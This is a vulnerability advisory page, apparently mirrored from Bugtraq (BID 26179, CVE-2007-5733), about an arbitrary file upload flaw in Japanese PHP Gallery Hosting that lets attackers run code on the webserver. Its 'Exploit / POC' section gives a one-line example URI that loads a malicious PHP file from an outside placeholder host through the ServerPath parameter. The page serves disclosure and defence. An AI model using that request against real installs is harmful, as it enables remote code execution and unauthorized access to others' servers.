Japanese PHP Gallery Hosting Arbitrary File Upload Vulnerability

BID:26179

Info

Japanese PHP Gallery Hosting Arbitrary File Upload Vulnerability

Bugtraq ID: 26179
Class: Input Validation Error
CVE: CVE-2007-5733
Remote: Yes
Local: No
Published: Oct 23 2007 12:00AM
Updated: Nov 15 2007 12:37AM
Credit: Pete Houston discovered this issue.
Vulnerable: Japanese PHP Gallery Hosting Japanese PHP Gallery Hosting 0
Not Vulnerable:

Discussion

Japanese PHP Gallery Hosting Arbitrary File Upload Vulnerability

Japanese PHP Gallery Hosting is prone to an arbitrary-file-upload vulnerability because it fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Versions of Japanese PHP Gallery Hosting released prior to 10/2007 are vulnerable.

Exploit / POC

Japanese PHP Gallery Hosting Arbitrary File Upload Vulnerability

Attackers may exploit this issue through a browser.

The following example URI is available:

http://www.example.com/upload/upload.php?ServerPath=http://www.example2.com/malicious.php.arbitraryextension

Solution / Fix

Japanese PHP Gallery Hosting Arbitrary File Upload Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

NOTE: Reports indicate that this issue may have been addressed in a version that was released in October 2007. Symantec has not confirmed this.

References

Japanese PHP Gallery Hosting Arbitrary File Upload Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report